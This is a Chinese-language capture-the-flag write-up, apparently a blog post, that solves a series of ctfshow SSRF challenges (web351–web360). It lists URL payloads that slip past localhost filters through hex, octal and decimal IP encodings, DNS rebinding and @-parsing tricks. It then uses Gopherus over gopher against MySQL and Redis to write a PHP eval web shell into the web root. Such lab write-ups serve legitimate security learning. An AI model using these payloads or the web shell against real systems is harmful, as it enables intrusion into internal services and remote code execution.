CTF-SHOW SSRF

web351

存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php

web352 

代码中先判断是否为HTTP或https协议,之后判断我们传入的url中是否含有localhost和127.0.0,如果没有则执行下面语句

意思:过滤掉了localhost和127.0.0

url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php    8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php

web353 

这题与上一题类似,过滤更严格,但可以使用进制转换

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354 

该题过滤了1和0,使用DNS重绑定绕过

url=http://sudo.cc/flag.php

web355

限制了host长度:小于等于5,使用127.1省略绕过

url=http://127.1/flag.php


web366

此时的host长度限制为小于等于3

0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0

url=http://0/flag.php

web357

gethostbyname()函数

主要作用:用域名或者主机名获取地址,操作系统提供的库函数。

成功返回的非空指针指向如下的hostent结构:

struct hostent
{
      char *h_name;      //主机名
      char **h_aliases;  //主机别名(指向到虚拟主机的域名)
      int h_addrtype;    //主机IP地址类型
      int h_length;      //主机IP地址长度,对于IPv4是四字节
      char **h_addr_list; //主机IP地址列表
};

#define h_addr h_addr_list[0] 

filter_var() 函数

通过指定的过滤器过滤变量。

如果成功,则返回已过滤的数据,如果失败,则返回 false。

所以url不能是私有地址,需要一个公网ip

在网站http://ceye.io/注册账号,会自动分配一个域名:

http://r.xxxxxx/flag.php
xxx为分给你的域名

web358

这里的正则表示以http://ctf.开头,以show结尾,即匹配http://ctf.*show

url=http://ctf.@127.0.0.1/flag.php?show

如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

web359

抓包发现有个returl参数,并且可以随意更改url

gopher协议打mysql

python gopherus.py --exploit mysql

生成一句话木马:

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

访问2.php,cat一下

web360

跟上题一样,只不过换成打redis

python gopherus.py --exploit redis

<?php eval($_POST['cmd']);?>

然后访问shell.php

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值